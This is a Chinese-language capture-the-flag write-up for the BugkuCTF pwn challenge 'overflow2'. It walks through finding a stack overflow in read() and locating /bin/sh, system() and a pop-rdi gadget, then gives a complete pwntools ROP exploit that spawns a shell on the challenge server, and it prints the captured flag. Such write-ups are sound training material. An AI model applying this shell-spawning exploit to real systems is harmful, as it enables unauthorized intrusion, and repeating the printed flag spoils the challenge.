BugkuCTF pwn overflow2

**

0、尝试打开文件,使用checksec检查保护情况

**BugkuCTF pwn overflow2
**

1、使用IDA 64 Pro打开文件

**
BugkuCTF pwn overflow2
read()函数存在栈溢出,查看栈结构
BugkuCTF pwn overflow2
**

2、构造rop链

**
Shitf+F12查找字符串

BugkuCTF pwn overflow2
发现/bin/sh的地址是0x402004

BugkuCTF pwn overflow2
system函数的地址是0x401050

64位程序的第一个参数在 rdi 寄存器里
使用ROPgadget工具寻找汇编指令
BugkuCTF pwn overflow2
rdi寄存器地址:0x40126b
**

3、构造exp

**

from pwn import *

r = remote("114.67.246.176", 14821)

_system = 0x401050
bin_sh = 0x402004
rep = 0x40126b
payload = b'a' * 0x20 + b'a' * 0x8 + p64(rep) + p64(bin_sh) + p64(_system)

r.sendlineafter("name.\n", payload)

r.interactive()

BugkuCTF pwn overflow2
**

4、得到flag:

**flag{b9afaa1a0078c540}

上一篇:十一月百度杯pwnme 详细wp


下一篇:JarvisOJ level3_x64